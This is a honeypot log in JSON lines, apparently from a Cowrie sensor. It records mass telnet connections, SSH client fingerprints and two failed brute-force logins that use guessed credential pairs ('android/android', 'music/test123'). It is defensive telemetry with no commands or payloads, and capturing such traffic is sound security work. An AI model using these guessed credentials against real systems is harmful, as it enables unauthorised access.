{"eventid":"cowrie.session.closed","duration":33.86420178413391,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:11.588421Z","src_ip":"209.159.146.115","session":"4102a83a199c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c75163e84606","protocol":"telnet","message":"New connection: 209.159.146.115:57334 (159.203.135.109:23) [session: c75163e84606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:12.585726Z"}
{"eventid":"cowrie.session.closed","duration":35.24169731140137,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:12.905134Z","src_ip":"209.159.146.115","session":"0348d11664b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06456446647644,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:14.007649Z","src_ip":"209.159.146.115","session":"0aa2c6756e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46200,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcd70260d1f","protocol":"telnet","message":"New connection: 209.159.146.115:46200 (159.203.135.109:23) [session: 2fcd70260d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:15.089782Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47888,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e6270e6912","protocol":"telnet","message":"New connection: 209.159.146.115:47888 (159.203.135.109:23) [session: a2e6270e6912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:15.945305Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39174,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74c36178cfa","protocol":"telnet","message":"New connection: 209.159.146.115:39174 (159.203.135.109:23) [session: e74c36178cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:19.289036Z"}
{"eventid":"cowrie.session.closed","duration":32.76508593559265,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:20.044023Z","src_ip":"209.159.146.115","session":"6ec2aacc680f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45230,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c32e3ec9ef","protocol":"telnet","message":"New connection: 209.159.146.115:45230 (159.203.135.109:23) [session: a1c32e3ec9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:20.571816Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47492,"dst_ip":"159.203.135.109","dst_port":23,"session":"400734192273","protocol":"telnet","message":"New connection: 209.159.146.115:47492 (159.203.135.109:23) [session: 400734192273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:20.965375Z"}
{"eventid":"cowrie.session.closed","duration":33.50173044204712,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:22.708503Z","src_ip":"209.159.146.115","session":"469a467588a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57304,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee8d5c16fc20","protocol":"telnet","message":"New connection: 209.159.146.115:57304 (159.203.135.109:23) [session: ee8d5c16fc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:23.617838Z"}
{"eventid":"cowrie.session.closed","duration":33.653602838516235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:24.133393Z","src_ip":"209.159.146.115","session":"a9f64a74f6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeef2f432a21","protocol":"telnet","message":"New connection: 209.159.146.115:34288 (159.203.135.109:23) [session: eeef2f432a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:24.315434Z"}
{"eventid":"cowrie.session.closed","duration":37.4193959236145,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:25.155679Z","src_ip":"185.26.126.47","session":"aadd6a1074d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.42890763282776,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:25.161525Z","src_ip":"185.26.126.47","session":"96f1034b91d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.451905488967896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:25.190020Z","src_ip":"209.159.146.115","session":"c445b880d988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37800,"dst_ip":"159.203.135.109","dst_port":23,"session":"31aa1efe44a2","protocol":"telnet","message":"New connection: 209.159.146.115:37800 (159.203.135.109:23) [session: 31aa1efe44a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:25.478527Z"}
{"eventid":"cowrie.session.closed","duration":35.49351143836975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:25.715231Z","src_ip":"209.159.146.115","session":"2a7943ea94f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40438,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59b43d40f78","protocol":"telnet","message":"New connection: 209.159.146.115:40438 (159.203.135.109:23) [session: c59b43d40f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:26.033704Z"}
{"eventid":"cowrie.session.closed","duration":34.30901908874512,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:26.895697Z","src_ip":"209.159.146.115","session":"81b5c112b197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d519303e51","protocol":"telnet","message":"New connection: 209.159.146.115:43546 (159.203.135.109:23) [session: a4d519303e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:27.088468Z"}
{"eventid":"cowrie.session.closed","duration":34.30914878845215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:27.196921Z","src_ip":"209.159.146.115","session":"fc76da626aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51904,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b169953fd3","protocol":"telnet","message":"New connection: 209.159.146.115:51904 (159.203.135.109:23) [session: b8b169953fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:28.673161Z"}
{"eventid":"cowrie.session.closed","duration":34.8858380317688,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:28.936134Z","src_ip":"209.159.146.115","session":"96fa6c4ed018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84564018249512,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:28.996714Z","src_ip":"209.159.146.115","session":"938c212b37a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78632593154907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:29.247349Z","src_ip":"209.159.146.115","session":"f5a311c79996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37354,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8631301eaaa","protocol":"telnet","message":"New connection: 209.159.146.115:37354 (159.203.135.109:23) [session: e8631301eaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:30.608906Z"}
{"eventid":"cowrie.session.closed","duration":32.58554720878601,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:32.250348Z","src_ip":"209.159.146.115","session":"ad4f8cfb2733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53912,"dst_ip":"159.203.135.109","dst_port":22,"session":"253bbe27afed","protocol":"ssh","message":"New connection: 159.203.92.129:53912 (159.203.135.109:22) [session: 253bbe27afed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:33.232364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:33.238135Z","src_ip":"159.203.92.129","session":"253bbe27afed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:33.242309Z","src_ip":"159.203.92.129","session":"253bbe27afed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android","password":"android","message":"login attempt [android/android] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:33.254934Z","src_ip":"159.203.92.129","session":"253bbe27afed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37112,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ed662812a0","protocol":"telnet","message":"New connection: 209.159.146.115:37112 (159.203.135.109:23) [session: 83ed662812a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:33.572701Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:34.260184Z","src_ip":"159.203.92.129","session":"253bbe27afed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58950,"dst_ip":"159.203.135.109","dst_port":23,"session":"df8c7b98050a","protocol":"telnet","message":"New connection: 209.159.146.115:58950 (159.203.135.109:23) [session: df8c7b98050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:35.777232Z"}
{"eventid":"cowrie.session.closed","duration":32.13060283660889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:37.066089Z","src_ip":"209.159.146.115","session":"d7b1ea343d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01652121543884,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:37.495044Z","src_ip":"209.159.146.115","session":"27023aa9f5bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35700,"dst_ip":"159.203.135.109","dst_port":23,"session":"6defddc35104","protocol":"telnet","message":"New connection: 185.26.126.47:35700 (159.203.135.109:23) [session: 6defddc35104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:37.537653Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34368,"dst_ip":"159.203.135.109","dst_port":23,"session":"734c3da6455d","protocol":"telnet","message":"New connection: 209.159.146.115:34368 (159.203.135.109:23) [session: 734c3da6455d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:38.087934Z"}
{"eventid":"cowrie.session.closed","duration":34.52487754821777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:38.330153Z","src_ip":"209.159.146.115","session":"70ff21ef9ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.736246347427368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:38.425907Z","src_ip":"209.159.146.115","session":"36ff3d6f5474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85437035560608,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:38.975995Z","src_ip":"209.159.146.115","session":"9e50bfda827b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37987279891968,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:39.968842Z","src_ip":"209.159.146.115","session":"fed4e54013b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11049962043762,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:42.451578Z","src_ip":"209.159.146.115","session":"23fceb34b331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.05069017410278,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:42.600013Z","src_ip":"209.159.146.115","session":"7bcfdd3f7359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28706765174866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:42.632628Z","src_ip":"209.159.146.115","session":"799b25fe0345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52044,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eeff9215154","protocol":"telnet","message":"New connection: 209.159.146.115:52044 (159.203.135.109:23) [session: 9eeff9215154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:42.721465Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54178,"dst_ip":"159.203.135.109","dst_port":23,"session":"e789fbac7adc","protocol":"telnet","message":"New connection: 209.159.146.115:54178 (159.203.135.109:23) [session: e789fbac7adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:43.210349Z"}
{"eventid":"cowrie.session.closed","duration":30.6417875289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:43.227381Z","src_ip":"209.159.146.115","session":"c75163e84606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.958909273147583,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:43.496463Z","src_ip":"185.26.126.47","session":"6defddc35104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54960,"dst_ip":"159.203.135.109","dst_port":23,"session":"d51a59d2ce54","protocol":"telnet","message":"New connection: 209.159.146.115:54960 (159.203.135.109:23) [session: d51a59d2ce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:43.570320Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55968,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8e4871e189","protocol":"telnet","message":"New connection: 209.159.146.115:55968 (159.203.135.109:23) [session: 2c8e4871e189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:44.010318Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34478,"dst_ip":"159.203.135.109","dst_port":23,"session":"e454342ed9f4","protocol":"telnet","message":"New connection: 209.159.146.115:34478 (159.203.135.109:23) [session: e454342ed9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:46.365191Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":55676,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3694333101","protocol":"ssh","message":"New connection: 103.180.212.135:55676 (159.203.135.109:22) [session: 3a3694333101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:47.028085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:47.032659Z","src_ip":"103.180.212.135","session":"3a3694333101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:47.225699Z","src_ip":"103.180.212.135","session":"3a3694333101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4270076751709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:47.372209Z","src_ip":"209.159.146.115","session":"a2e6270e6912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98798632621765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:47.430753Z","src_ip":"209.159.146.115","session":"3603562f2749","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"music","password":"test123","message":"login attempt [music/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:48.030988Z","src_ip":"103.180.212.135","session":"3a3694333101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:49.227618Z","src_ip":"103.180.212.135","session":"3a3694333101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47358,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc89f0d0dbe","protocol":"telnet","message":"New connection: 209.159.146.115:47358 (159.203.135.109:23) [session: 3bc89f0d0dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:49.715939Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48838,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8d567d32ed","protocol":"telnet","message":"New connection: 209.159.146.115:48838 (159.203.135.109:23) [session: fe8d567d32ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:50.175448Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50024,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8da22f43327","protocol":"telnet","message":"New connection: 209.159.146.115:50024 (159.203.135.109:23) [session: c8da22f43327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:50.542466Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52746,"dst_ip":"159.203.135.109","dst_port":23,"session":"04e2eae20fe6","protocol":"telnet","message":"New connection: 209.159.146.115:52746 (159.203.135.109:23) [session: 04e2eae20fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:51.316815Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a56689973a3","protocol":"telnet","message":"New connection: 209.159.146.115:53740 (159.203.135.109:23) [session: 0a56689973a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:51.655673Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57156,"dst_ip":"159.203.135.109","dst_port":23,"session":"696e0812a209","protocol":"telnet","message":"New connection: 209.159.146.115:57156 (159.203.135.109:23) [session: 696e0812a209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:52.480031Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b427ba564fb2","protocol":"telnet","message":"New connection: 209.159.146.115:58436 (159.203.135.109:23) [session: b427ba564fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:52.773345Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59208,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58c659acba6","protocol":"telnet","message":"New connection: 209.159.146.115:59208 (159.203.135.109:23) [session: c58c659acba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:52.919360Z"}
{"eventid":"cowrie.session.closed","duration":34.00306057929993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:53.291961Z","src_ip":"209.159.146.115","session":"e74c36178cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.559601068496704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:55.177271Z","src_ip":"209.159.146.115","session":"ee8d5c16fc20","protocol":"telnet"}
